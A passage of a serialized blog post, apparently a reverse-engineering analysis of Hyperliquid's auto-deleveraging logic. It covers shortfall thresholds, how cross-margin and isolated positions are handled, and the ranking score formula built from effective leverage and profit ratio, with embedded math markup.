another.",{"type":23,"tag":160825,"props":161269,"children":161273},{"source":161270,"target":161170,"direction":161271,"path":161272},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":23,"tag":32,"props":161275,"children":161276},{},[161277,161278,161283,161285,161291,161293,161299,161301,161307],{"type":29,"value":980},{"type":23,"tag":71,"props":161279,"children":161281},{"className":161280},[],[161282],{"type":29,"value":161270},{"type":29,"value":161284}," essentially turns that into an ",{"type":23,"tag":71,"props":161286,"children":161288},{"className":161287},[],[161289],{"type":29,"value":161290},"Iter",{"type":29,"value":161292},", then, inside of ",{"type":23,"tag":71,"props":161294,"children":161296},{"className":161295},[],[161297],{"type":29,"value":161298},"build_adl_candidate_set",{"type":29,"value":161300}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":23,"tag":71,"props":161302,"children":161304},{"className":161303},[],[161305],{"type":29,"value":161306},"AdlIterEntry",{"type":29,"value":60100},{"type":23,"tag":160825,"props":161309,"children":161311},{"type-name":161310},"AdlIterContext",[],{"type":23,"tag":32,"props":161313,"children":161314},{},[161315,161317,161323,161325,161331,161333,161339,161341,161346],{"type":29,"value":161316},"Note that in storage, ",{"type":23,"tag":71,"props":161318,"children":161320},{"className":161319},[],[161321],{"type":29,"value":161322},"Isolated",{"type":29,"value":161324}," positions have their own independent ",{"type":23,"tag":71,"props":161326,"children":161328},{"className":161327},[],[161329],{"type":29,"value":161330},"Entry",{"type":29,"value":161332}," in the position iterators, and ",{"type":23,"tag":71,"props":161334,"children":161336},{"className":161335},[],[161337],{"type":29,"value":161338},"Cross",{"type":29,"value":161340}," positions have a single common ",{"type":23,"tag":71,"props":161342,"children":161344},{"className":161343},[],[161345],{"type":29,"value":161330},{"type":29,"value":161347},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":23,"tag":160825,"props":161349,"children":161352},{"addr":161350,"line-start":46024,"line-end":161351},"0x555556266b10","163",[],{"type":23,"tag":32,"props":161354,"children":161355},{},[161356],{"type":29,"value":161357},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":23,"tag":160825,"props":161359,"children":161362},{"addr":161196,"line-start":161360,"line-end":161361},"506","527",[],{"type":23,"tag":32,"props":161364,"children":161365},{},[161366,161368],{"type":29,"value":161367},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":23,"tag":161369,"props":161370,"children":161373},"bndb-xref",{"lines":161371,"addrs":161372},"1-2","0x555556ac3e18-0x555556ac3e18",[161374],{"type":29,"value":161375},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":23,"tag":32,"props":161377,"children":161378},{},[161379,161381,161387,161389,161395,161397,161403,161405,161411],{"type":29,"value":161380},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":23,"tag":71,"props":161382,"children":161384},{"className":161383},[],[161385],{"type":29,"value":161386},"only_isolated",{"type":29,"value":161388}," (or ",{"type":23,"tag":71,"props":161390,"children":161392},{"className":161391},[],[161393],{"type":29,"value":161394},"strict_isolated",{"type":29,"value":161396}," in MessagePack dumps) are added to a separate queue, ",{"type":23,"tag":71,"props":161398,"children":161400},{"className":161399},[],[161401],{"type":29,"value":161402},"deferred_queue",{"type":29,"value":161404},", which triggers ADL regardless of the system's ",{"type":23,"tag":71,"props":161406,"children":161408},{"className":161407},[],[161409],{"type":29,"value":161410},"total_shortfall",{"type":29,"value":161412},". This is dictated by this branch.",{"type":23,"tag":160825,"props":161414,"children":161417},{"addr":161196,"line-start":161415,"line-end":161416},"211","243",[],{"type":23,"tag":32,"props":161419,"children":161420},{},[161421,161423,161430],{"type":29,"value":161422},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":23,"tag":181,"props":161424,"children":161427},{"href":161425,"rel":161426},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[185],[161428],{"type":29,"value":161429},"March 2025 incident",{"type":29,"value":161431},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":23,"tag":192,"props":161433,"children":161435},{"id":161434},"how-do-we-get-rid-of-debt",[161436],{"type":29,"value":161437},"How Do We Get Rid of Debt?",{"type":23,"tag":32,"props":161439,"children":161440},{},[161441],{"type":29,"value":161442},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":23,"tag":32,"props":161444,"children":161445},{},[161446,161448,161453,161455,161460,161462,161467],{"type":29,"value":161447},"Thus, if the debt is insurmountable, the ",{"type":23,"tag":71,"props":161449,"children":161451},{"className":161450},[],[161452],{"type":29,"value":161402},{"type":29,"value":161454}," is overwritten by all the users marked by ",{"type":23,"tag":71,"props":161456,"children":161458},{"className":161457},[],[161459],{"type":29,"value":161298},{"type":29,"value":161461},", otherwise we keep it and only holders of underwater ",{"type":23,"tag":71,"props":161463,"children":161465},{"className":161464},[],[161466],{"type":29,"value":161394},{"type":29,"value":161468}," positions from the earlier loop are considered for ADL.",{"type":23,"tag":160794,"props":161470,"children":161471},{},[161472],{"type":23,"tag":32,"props":161473,"children":161474},{},[161475],{"type":29,"value":161476},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":23,"tag":160825,"props":161478,"children":161481},{"addr":161196,"line-start":161479,"line-end":161480},"523","526",[],{"type":23,"tag":32,"props":161483,"children":161484},{},[161485,161487,161493,161495,161501,161503,161508],{"type":29,"value":161486},"For each underwater position, we do a ",{"type":23,"tag":161369,"props":161488,"children":161490},{"addrs":161489},"0x555556ac42ad-0x555556ac42be",[161491],{"type":29,"value":161492},"B-tree lookup",{"type":29,"value":161494}," on ",{"type":23,"tag":71,"props":161496,"children":161498},{"className":161497},[],[161499],{"type":29,"value":161500},"clearinghouse.user_states[position.user]",{"type":29,"value":161502},", adding them to a ",{"type":23,"tag":71,"props":161504,"children":161506},{"className":161505},[],[161507],{"type":29,"value":19532},{"type":29,"value":161509}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":23,"tag":160825,"props":161511,"children":161514},{"addr":161196,"line-start":161512,"line-end":161513},"635","658",[],{"type":23,"tag":32,"props":161516,"children":161517},{},[161518],{"type":29,"value":161519},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":23,"tag":220,"props":161521,"children":161522},{},[161523],{"type":23,"tag":71,"props":161524,"children":161526},{"className":161525},[6318,160853],[161527],{"type":23,"tag":230,"props":161528,"children":161530},{"className":161529},[160858],[161531],{"type":23,"tag":230,"props":161532,"children":161534},{"className":161533},[6324],[161535],{"type":23,"tag":230,"props":161536,"children":161538},{"className":161537,"ariaHidden":1726},[6329],[161539],{"type":23,"tag":230,"props":161540,"children":161542},{"className":161541},[6334],[161543,161548],{"type":23,"tag":230,"props":161544,"children":161547},{"className":161545,"style":161546},[6339],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":23,"tag":230,"props":161549,"children":161551},{"className":161550},[6345],[161552],{"type":23,"tag":230,"props":161553,"children":161556},{"className":161554},[161555],"mtable",[161557,161637],{"type":23,"tag":230,"props":161558,"children":161561},{"className":161559},[161560],"col-align-r",[161562],{"type":23,"tag":230,"props":161563,"children":161565},{"className":161564},[6367,23956],[161566,161625],{"type":23,"tag":230,"props":161567,"children":161569},{"className":161568},[6372],[161570,161620],{"type":23,"tag":230,"props":161571,"children":161574},{"className":161572,"style":161573},[6377],"height:2.3452em;",[161575,161598],{"type":23,"tag":230,"props":161576,"children":161578},{"style":161577},"top:-4.3452em;",[161579,161584],{"type":23,"tag":230,"props":161580,"children":161583},{"className":161581,"style":161582},[6386],"height:3.3944em;",[],{"type":23,"tag":230,"props":161585,"children":161587},{"className":161586},[6345],[161588],{"type":23,"tag":230,"props":161589,"children":161591},{"className":161590},[6345,29],[161592],{"type":23,"tag":230,"props":161593,"children":161595},{"className":161594},[6345],[161596],{"type":29,"value":161597},"position_weight",{"type":23,"tag":230,"props":161599,"children":161601},{"style":161600},"top:-2.2092em;",[161602,161606],{"type":23,"tag":230,"props":161603,"children":161605},{"className":161604,"style":161582},[6386],[],{"type":23,"tag":230,"props":161607,"children":161609},{"className":161608},[6345],[161610],{"type":23,"tag":230,"props":161611,"children":161613},{"className":161612},[6345,29],[161614],{"type":23,"tag":230,"props":161615,"children":161617},{"className":161616},[6345],[161618],{"type":29,"value":161619},"position_adl_amount",{"type":23,"tag":230,"props":161621,"children":161623},{"className":161622},[24059],[161624],{"type":29,"value":24062},{"type":23,"tag":230,"props":161626,"children":161628},{"className":161627},[6372],[161629],{"type":23,"tag":230,"props":161630,"children":161633},{"className":161631,"style":161632},[6377],"height:1.8452em;",[161634],{"type":23,"tag":230,"props":161635,"children":161636},{},[],{"type":23,"tag":230,"props":161638,"children":161641},{"className":161639},[161640],"col-align-l",[161642],{"type":23,"tag":230,"props":161643,"children":161645},{"className":161644},[6367,23956],[161646,161847],{"type":23,"tag":230,"props":161647,"children":161649},{"className":161648},[6372],[161650,161842],{"type":23,"tag":230,"props":161651,"children":161653},{"className":161652,"style":161573},[6377],[161654,161782],{"type":23,"tag":230,"props":161655,"children":161656},{"style":161577},[161657,161661],{"type":23,"tag":230,"props":161658,"children":161660},{"className":161659,"style":161582},[6386],[],{"type":23,"tag":230,"props":161662,"children":161664},{"className":161663},[6345],[161665,161669,161673,161678,161682],{"type":23,"tag":230,"props":161666,"children":161668},{"className":161667},[6345],[],{"type":23,"tag":230,"props":161670,"children":161672},{"className":161671,"style":6524},[6426],[],{"type":23,"tag":230,"props":161674,"children":161676},{"className":161675},[6529],[161677],{"type":29,"value":863},{"type":23,"tag":230,"props":161679,"children":161681},{"className":161680,"style":6524},[6426],[],{"type":23,"tag":230,"props":161683,"children":161685},{"className":161684},[6345],[161686,161690,161778],{"type":23,"tag":230,"props":161687,"children":161689},{"className":161688},[24031,115344],[],{"type":23,"tag":230,"props":161691,"children":161693},{"className":161692},[115349],[161694],{"type":23,"tag":230,"props":161695,"children":161697},{"className":161696},[6367,23956],[161698,161766],{"type":23,"tag":230,"props":161699,"children":161701},{"className":161700},[6372],[161702,161761],{"type":23,"tag":230,"props":161703,"children":161706},{"className":161704,"style":161705},[6377],"height:1.3944em;",[161707,161728,161739],{"type":23,"tag":230,"props":161708,"children":161709},{"style":160935},[161710,161714],{"type":23,"tag":230,"props":161711,"children":161713},{"className":161712,"style":113997},[6386],[],{"type":23,"tag":230,"props":161715,"children":161717},{"className":161716},[6345],[161718],{"type":23,"tag":230,"props":161719,"children":161721},{"className":161720},[6345,29],[161722],{"type":23,"tag":230,"props":161723,"children":161725},{"className":161724},[6345],[161726],{"type":29,"value":161727},"total_cross_notional",{"type":23,"tag":230,"props":161729,"children":161730},{"style":115399},[161731,161735],{"type":23,"tag":230,"props":161732,"children":161734},{"className":161733,"style":113997},[6386],[],{"type":23,"tag":230,"props":161736,"children":161738},{"className":161737,"style":115409},[115408],[],{"type":23,"tag":230,"props":161740,"children":161742},{"style":161741},"top:-3.7em;",[161743,161747],{"type":23,"tag":230,"props":161744,"children":161746},{"className":161745,"style":113997},[6386],[],{"type":23,"tag":230,"props":161748,"children":161750},{"className":161749},[6345],[161751],{"type":23,"tag":230,"props":161752,"children":161754},{"className":161753},[6345,29],[161755],{"type":23,"tag":230,"props":161756,"children":161758},{"className":161757},[6345],[161759],{"type":29,"value":161760},"position_notional",{"type":23,"tag":230,"props":161762,"children":161764},{"className":161763},[24059],[161765],{"type":29,"value":24062},{"type":23,"tag":230,"props":161767,"children":161769},{"className":161768},[6372],[161770],{"type":23,"tag":230,"props":161771,"children":161774},{"className":161772,"style":161773},[6377],"height:0.996em;",[161775],{"type":23,"tag":230,"props":161776,"children":161777},{},[],{"type":23,"tag":230,"props":161779,"children":161781},{"className":161780},[24053,115344],[],{"type":23,"tag":230,"props":161783,"children":161784},{"style":161600},[161785,161789],{"type":23,"tag":230,"props":161786,"children":161788},{"className":161787,"style":161582},[6386],[],{"type":23,"tag":230,"props":161790,"children":161792},{"className":161791},[6345],[161793,161797,161801,161806,161810,161820,161824,161829,161833],{"type":23,"tag":230,"props":161794,"children":161796},{"className":161795},[6345],[],{"type":23,"tag":230,"props":161798,"children":161800},{"className":161799,"style":6524},[6426],[],{"type":23,"tag":230,"props":161802,"children":161804},{"className":161803},[6529],[161805],{"type":29,"value":863},{"type":23,"tag":230,"props":161807,"children":161809},{"className":161808,"style":6524},[6426],[],{"type":23,"tag":230,"props":161811,"children":161813},{"className":161812},[6345,29],[161814],{"type":23,"tag":230,"props":161815,"children":161817},{"className":161816},[6345],[161818],{"type":29,"value":161819},"user_shortfall",{"type":23,"tag":230,"props":161821,"children":161823},{"className":161822,"style":6427},[6426],[],{"type":23,"tag":230,"props":161825,"children":161827},{"className":161826},[6432],[161828],{"type":29,"value":113088},{"type":23,"tag":230,"props":161830,"children":161832},{"className":161831,"style":6427},[6426],[],{"type":23,"tag":230,"props":161834,"children":161836},{"className":161835},[6345,29],[161837],{"type":23,"tag":230,"props":161838,"children":161840},{"className":161839},[6345],[161841],{"type":29,"value":161597},{"type":23,"tag":230,"props":161843,"children":161845},{"className":161844},[24059],[161846],{"type":29,"value":24062},{"type":23,"tag":230,"props":161848,"children":161850},{"className":161849},[6372],[161851],{"type":23,"tag":230,"props":161852,"children":161854},{"className":161853,"style":161632},[6377],[161855],{"type":23,"tag":230,"props":161856,"children":161857},{},[],{"type":23,"tag":32,"props":161859,"children":161860},{},[161861],{"type":29,"value":161862},"We do that here:",{"type":23,"tag":160825,"props":161864,"children":161867},{"addr":161196,"line-start":161865,"line-end":161866},"828","981",[],{"type":23,"tag":32,"props":161869,"children":161870},{},[161871,161872,161878,161880,161886],{"type":29,"value":980},{"type":23,"tag":161369,"props":161873,"children":161875},{"lines":161874},"77-79",[161876],{"type":29,"value":161877},"inner loop",{"type":29,"value":161879}," above spans all ",{"type":23,"tag":71,"props":161881,"children":161883},{"className":161882},[],[161884],{"type":29,"value":161885},"(asset_idx, direction)",{"type":29,"value":161887}," held in the cross margin position.",{"type":23,"tag":32,"props":161889,"children":161890},{},[161891,161893,161899,161901,161907,161908,161914],{"type":29,"value":161892},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":23,"tag":71,"props":161894,"children":161896},{"className":161895},[],[161897],{"type":29,"value":161898},"adl_output",{"type":29,"value":161900}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":23,"tag":71,"props":161902,"children":161904},{"className":161903},[],[161905],{"type":29,"value":161906},"position_id",{"type":29,"value":112},{"type":23,"tag":71,"props":161909,"children":161911},{"className":161910},[],[161912],{"type":29,"value":161913},"position_shortfall",{"type":29,"value":312},{"type":23,"tag":160825,"props":161916,"children":161919},{"addr":161196,"line-start":161917,"line-end":161918},"2377","2469",[],{"type":23,"tag":32,"props":161921,"children":161922},{},[161923,161925,161931],{"type":29,"value":161924},"Afterwards we can finally loop over the B-tree containing ",{"type":23,"tag":71,"props":161926,"children":161928},{"className":161927},[],[161929],{"type":29,"value":161930},"(position_id, cut)",{"type":29,"value":161932},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":23,"tag":32,"props":161934,"children":161935},{},[161936,161938,161943],{"type":29,"value":161937},"The final phase of ",{"type":23,"tag":71,"props":161939,"children":161941},{"className":161940},[],[161942],{"type":29,"value":161150},{"type":29,"value":161944}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":23,"tag":160825,"props":161946,"children":161949},{"addr":161196,"addr-start":161947,"addr-end":161948},"0x555556ac6d52","0x555556ac6de8",[],{"type":23,"tag":32,"props":161951,"children":161952},{},[161953],{"type":29,"value":161954},"How are positions chosen (sorted) to be deleveraged?",{"type":23,"tag":37658,"props":161956,"children":161958},{"id":161957},"who-do-we-deleverage",[161959],{"type":29,"value":161960},"Who Do We Deleverage?",{"type":23,"tag":32,"props":161962,"children":161963},{},[161964],{"type":29,"value":161965},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":23,"tag":32,"props":161967,"children":161968},{},[161969],{"type":29,"value":161970},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":23,"tag":32,"props":161972,"children":161973},{},[161974,161976,161983],{"type":29,"value":161975},"More formally, fairness can be given multiple related definitions; see ",{"type":23,"tag":181,"props":161977,"children":161980},{"href":161978,"rel":161979},"https://arxiv.org/abs/2512.01112",[185],[161981],{"type":29,"value":161982},"this paper",{"type":29,"value":161984},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":23,"tag":32,"props":161986,"children":161987},{},[161988],{"type":29,"value":161989},"So, is Hyperliquid fair? Is it always solvent?",{"type":23,"tag":24,"props":161991,"children":161993},{"id":161992},"adl-score-computation",[161994],{"type":29,"value":161995},"ADL Score Computation",{"type":23,"tag":32,"props":161997,"children":161998},{},[161999,162001,162007,162009,162015,162017,162022],{"type":29,"value":162000},"The score function at ",{"type":23,"tag":71,"props":162002,"children":162004},{"className":162003},[],[162005],{"type":29,"value":162006},"compute_adl_ranking_score",{"type":29,"value":162008}," is core to answering this question. It's defined, most likely as an ",{"type":23,"tag":71,"props":162010,"children":162012},{"className":162011},[],[162013],{"type":29,"value":162014},"Ord",{"type":29,"value":162016}," implementation on some 20-byte address representation. A ",{"type":23,"tag":71,"props":162018,"children":162020},{"className":162019},[],[162021],{"type":29,"value":19532},{"type":29,"value":162023}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":23,"tag":32,"props":162025,"children":162026},{},[162027,162029,162034,162036,162042,162044,162051,162053,162060],{"type":29,"value":162028},"Those sort routines are ",{"type":23,"tag":2258,"props":162030,"children":162031},{},[162032],{"type":29,"value":162033},"generated by the compiler",{"type":29,"value":162035},": since Rust binaries include a lot of metadata by default in ",{"type":23,"tag":71,"props":162037,"children":162039},{"className":162038},[],[162040],{"type":29,"value":162041},".comment",{"type":29,"value":162043},", we may even manually ",{"type":23,"tag":181,"props":162045,"children":162048},{"href":162046,"rel":162047},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[185],[162049],{"type":29,"value":162050},"take advantage",{"type":29,"value":162052}," of this to recover the ",{"type":23,"tag":181,"props":162054,"children":162057},{"href":162055,"rel":162056},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[185],[162058],{"type":29,"value":162059},"exact source of library functions",{"type":29,"value":312},{"type":23,"tag":32,"props":162062,"children":162063},{},[162064,162066,162071],{"type":29,"value":162065},"Let's see how this ties back into the ",{"type":23,"tag":71,"props":162067,"children":162069},{"className":162068},[],[162070],{"type":29,"value":161150},{"type":29,"value":218},{"type":23,"tag":160825,"props":162073,"children":162075},{"source":161150,"target":162006,"direction":161151,"path":162074},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":23,"tag":32,"props":162077,"children":162078},{},[162079],{"type":29,"value":162080},"And here's the main call site used for sorting:",{"type":23,"tag":160825,"props":162082,"children":162085},{"addr":161196,"line-start":162083,"line-end":162084},"2806","2814",[],{"type":23,"tag":24,"props":162087,"children":162089},{"id":162088},"ratio-1-effective-leverage",[162090],{"type":29,"value":162091},"Ratio 1: Effective Leverage",{"type":23,"tag":220,"props":162093,"children":162094},{},[162095],{"type":23,"tag":71,"props":162096,"children":162098},{"className":162097},[6318,160853],[162099],{"type":23,"tag":230,"props":162100,"children":162102},{"className":162101},[160858],[162103],{"type":23,"tag":230,"props":162104,"children":162106},{"className":162105},[6324],[162107],{"type":23,"tag":230,"props":162108,"children":162110},{"className":162109,"ariaHidden":1726},[6329],[162111,162142],{"type":23,"tag":230,"props":162112,"children":162114},{"className":162113},[6334],[162115,162119,162129,162133,162138],{"type":23,"tag":230,"props":162116,"children":162118},{"className":162117,"style":116881},[6339],[],{"type":23,"tag":230,"props":162120,"children":162122},{"className":162121},[6345,29],[162123],{"type":23,"tag":230,"props":162124,"children":162126},{"className":162125},[6345],[162127],{"type":29,"value":162128},"effective leverage",{"type":23,"tag":230,"props":162130,"children":162132},{"className":162131,"style":6524},[6426],[],{"type":23,"tag":230,"props":162134,"children":162136},{"className":162135},[6529],[162137],{"type":29,"value":863},{"type":23,"tag":230,"props":162139,"children":162141},{"className":162140,"style":6524},[6426],[],{"type":23,"tag":230,"props":162143,"children":162145},{"className":162144},[6334],[162146,162151],{"type":23,"tag":230,"props":162147,"children":162150},{"className":162148,"style":162149},[6339],"height:2.113em;vertical-align:-0.686em;",[],{"type":23,"tag":230,"props":162152,"children":162154},{"className":162153},[6345],[162155,162159,162254],{"type":23,"tag":230,"props":162156,"children":162158},{"className":162157},[24031,115344],[],{"type":23,"tag":230,"props":162160,"children":162162},{"className":162161},[115349],[162163],{"type":23,"tag":230,"props":162164,"children":162166},{"className":162165},[6367,23956],[162167,162242],{"type":23,"tag":230,"props":162168,"children":162170},{"className":162169},[6372],[162171,162237],{"type":23,"tag":230,"props":162172,"children":162174},{"className":162173,"style":160931},[6377],[162175,162196,162207],{"type":23,"tag":230,"props":162176,"children":162177},{"style":160935},[162178,162182],{"type":23,"tag":230,"props":162179,"children":162181},{"className":162180,"style":113997},[6386],[],{"type":23,"tag":230,"props":162183,"children":162185},{"className":162184},[6345],[162186],{"type":23,"tag":230,"props":162187,"children":162189},{"className":162188},[6345,29],[162190],{"type":23,"tag":230,"props":162191,"children":162193},{"className":162192},[6345],[162194],{"type":29,"value":162195},"account value",{"type":23,"tag":230,"props":162197,"children":162198},{"style":115399},[162199,162203],{"type":23,"tag":230,"props":162200,"children":162202},{"className":162201,"style":113997},[6386],[],{"type":23,"tag":230,"props":162204,"children":162206},{"className":162205,"style":115409},[115408],[],{"type":23,"tag":230,"props":162208,"children":162209},{"style":160986},[162210,162214],{"type":23,"tag":230,"props":162211,"children":162213},{"className":162212,"style":113997},[6386],[],{"type":23,"tag":230,"props":162215,"children":162217},{"className":162216},[6345],[162218,162223,162232],{"type":23,"tag":230,"props":162219,"children":162221},{"className":162220},[6345],[162222],{"type":29,"value":161001},{"type":23,"tag":230,"props":162224,"children":162226},{"className":162225},[6345,29],[162227],{"type":23,"tag":230,"props":162228,"children":162230},{"className":162229},[6345],[162231],{"type":29,"value":161011},{"type":23,"tag":230,"props":162233,"children":162235},{"className":162234},[6345],[162236],{"type":29,"value":161001},{"type":23,"tag":230,"props":162238,"children":162240},{"className":162239},[24059],[162241],{"type":29,"value":24062},{"type":23,"tag":230,"props":162243,"children":162245},{"className":162244},[6372],[162246],{"type":23,"tag":230,"props":162247,"children":162250},{"className":162248,"style":162249},[6377],"height:0.686em;",[162251],{"type":23,"tag":230,"props":162252,"children":162253},{},[],{"type":23,"tag":230,"props":162255,"children":162257},{"className":162256},[24053,115344],[],{"type":23,"tag":32,"props":162259,"children":162260},{},[162261,162263,162269,162271,162277,162278,162284,162286,162292],{"type":29,"value":162262},"We can see in the decompilation below, through the SIMD noise, that ",{"type":23,"tag":71,"props":162264,"children":162266},{"className":162265},[],[162267],{"type":29,"value":162268},"abs_notional",{"type":29,"value":162270}," (unsigned), and ",{"type":23,"tag":71,"props":162272,"children":162274},{"className":162273},[],[162275],{"type":29,"value":162276},"float.d(rbx)",{"type":29,"value":7840},{"type":23,"tag":71,"props":162279,"children":162281},{"className":162280},[],[162282],{"type":29,"value":162283},"account_value",{"type":29,"value":162285}," (signed); the division is ",{"type":23,"tag":71,"props":162287,"children":162289},{"className":162288},[],[162290],{"type":29,"value":162291},"abs_notional / account_value",{"type":29,"value":312},{"type":23,"tag":32,"props":162294,"children":162295},{},[162296],{"type":29,"value":162297},"This tells us the risk multiplier that the user took on for this position.",{"type":23,"tag":160825,"props":162299,"children":162303},{"addr":162300,"line-start":162301,"line-end":162302},"0x555556abb140","278","296",[],{"type":23,"tag":24,"props":162305,"children":162307},{"id":162306},"ratio-2-profit-ratio",[162308],{"type":29,"value":162309},"Ratio 2: Profit Ratio",{"type":23,"tag":220,"props":162311,"children":162312},{},[162313],{"type":23,"tag":71,"props":162314,"children":162316},{"className":162315},[6318,160853],[162317],{"type":23,"tag":230,"props":162318,"children":162320},{"className":162319},[160858],[162321],{"type":23,"tag":230,"props":162322,"children":162324},{"className":162323},[6324],[162325],{"type":23,"tag":230,"props":162326,"children":162328},{"className":162327,"ariaHidden":1726},[6329],[162329,162360],{"type":23,"tag":230,"props":162330,"children":162332},{"className":162331},[6334],[162333,162337,162347,162351,162356],{"type":23,"tag":230,"props":162334,"children":162336},{"className":162335,"style":116881},[6339],[],{"type":23,"tag":230,"props":162338,"children":162340},{"className":162339},[6345,29],[162341],{"type":23,"tag":230,"props":162342,"children":162344},{"className":162343},[6345],[162345],{"type":29,"value":162346},"profit ratio",{"type":23,"tag":230,"props":162348,"children":162350},{"className":162349,"style":6524},[6426],[],{"type":23,"tag":230,"props":162352,"children":162354},{"className":162353},[6529],[162355],{"type":29,"value":863},{"type":23,"tag":230,"props":162357,"children":162359},{"className":162358,"style":6524},[6426],[],{"type":23,"tag":230,"props":162361,"children":162363},{"className":162362},[6334],[162364,162368],{"type":23,"tag":230,"props":162365,"children":162367},{"className":162366,"style":160906},[6339],[],{"type":23,"tag":230,"props":162369,"children":162371},{"className":162370},[6345],[162372,162376,162495],{"type":23,"tag":230,"props":162373,"children":162375},{"className":162374},[24031,115344],[],{"type":23,"tag":230,"props":162377,"children":162379},{"className":162378},[115349],[162380],{"type":23,"tag":230,"props":162381,"children":162383},{"className":162382},[6367,23956],[162384,162484],{"type":23,"tag":230,"props":162385,"children":162387},{"className":162386},[6372],[162388,162479],{"type":23,"tag":230,"props":162389,"children":162391},{"className":162390,"style":160931},[6377],[162392,162413,162424],{"type":23,"tag":230,"props":162393,"children":162394},{"style":160935},[162395,162399],{"type":23,"tag":230,"props":162396,"children":162398},{"className":162397,"style":113997},[6386],[],{"type":23,"tag":230,"props":162400,"children":162402},{"className":162401},[6345],[162403],{"type":23,"tag":230,"props":162404,"children":162406},{"className":162405},[6345,29],[162407],{"type":23,"tag":230,"props":162408,"children":162410},{"className":162409},[6345],[162411],{"type":29,"value":162412},"entry notional",{"type":23,"tag":230,"props":162414,"children":162415},{"style":115399},[162416,162420],{"type":23,"tag":230,"props":162417,"children":162419},{"className":162418,"style":113997},[6386],[],{"type":23,"tag":230,"props":162421,"children":162423},{"className":162422,"style":115409},[115408],[],{"type":23,"tag":230,"props":162425,"children":162426},{"style":160986},[162427,162431],{"type":23,"tag":230,"props":162428,"children":162430},{"className":162429,"style":113997},[6386],[],{"type":23,"tag":230,"props":162432,"children":162434},{"className":162433},[6345],[162435,162441,162446,162456,162461,162465,162469,162474],{"type":23,"tag":230,"props":162436,"children":162438},{"className":162437},[23938],[162439],{"type":29,"value":162440},"max",{"type":23,"tag":230,"props":162442,"children":162444},{"className":162443},[24031],[162445],{"type":29,"value":302},{"type":23,"tag":230,"props":162447,"children":162449},{"className":162448},[6345,29],[162450],{"type":23,"tag":230,"props":162451,"children":162453},{"className":162452},[6345],[162454],{"type":29,"value":162455},"pnl",{"type":23,"tag":230,"props":162457,"children":162459},{"className":162458},[6458],[162460],{"type":29,"value":6461},{"type":23,"tag":230,"props":162462,"children":162464},{"className":162463,"style":6465},[6426],[],{"type":23,"tag":230,"props":162466,"children":162468},{"className":162467,"style":6465},[6426],[],{"type":23,"tag":230,"props":162470,"children":162472},{"className":162471},[6345],[162473],{"type":29,"value":6358},{"type":23,"tag":230,"props":162475,"children":162477},{"className":162476},[24053],[162478],{"type":29,"value":5467},{"type":23,"tag":230,"props":162480,"children":162482},{"className":162481},[24059],[162483],{"type":29,"value":24062},{"type":23,"tag":230,"props":162485,"children":162487},{"className":162486},[6372],[162488],{"type":23,"tag":230,"props":162489,"children":162491},{"className":162490,"style":161029},[6377],[162492],{"type":23,"tag":230,"props":162493,"children":162494},{},[],{"type":23,"tag":230,"props":162496,"children":162498},{"className":162497},[24053,115344],[],{"type":23,"tag":32,"props":162500,"children":162501},{},[162502,162504,162510],{"type":29,"value":162503},"It uses entry notional (",{"type":23,"tag":71,"props":162505,"children":162507},{"className":162506},[],[162508],{"type":29,"value":162509},"r14_2",{"type":29,"value":162511},") as the divisor. PNL is clamped to non-negative before division.",{"type":23,"tag":32,"props":162513,"children":162514},{},[162515],{"type":29,"value":162516},"This basically tells us how well the user's bet went.",{"type":23,"tag":160825,"props":162518,"children":162522},{"addr":162519,"addr-start":162520,"addr-end":162521},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":23,"tag":32,"props":162524,"children":162525},{},[162526,162528,162534,162536,162542],{"type":29,"value":162527},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":23,"tag":71,"props":162529,"children":162531},{"className":162530},[],[162532],{"type":29,"value":162533},"1e-8",{"type":29,"value":162535},", in order not to cancel each other out. The final ADL ranking score is ",{"type":23,"tag":71,"props":162537,"children":162539},{"className":162538},[],[162540],{"type":29,"value":162541},"effective_leverage * profit_ratio",{"type":29,"value":162543},", consistent with both ratio directions and the max clamp on PNL.",{"type":23,"tag":32,"props":162545,"children":162546},{},[162547],{"type":29,"value":162548},"So, in essence, we look for risky and profitable 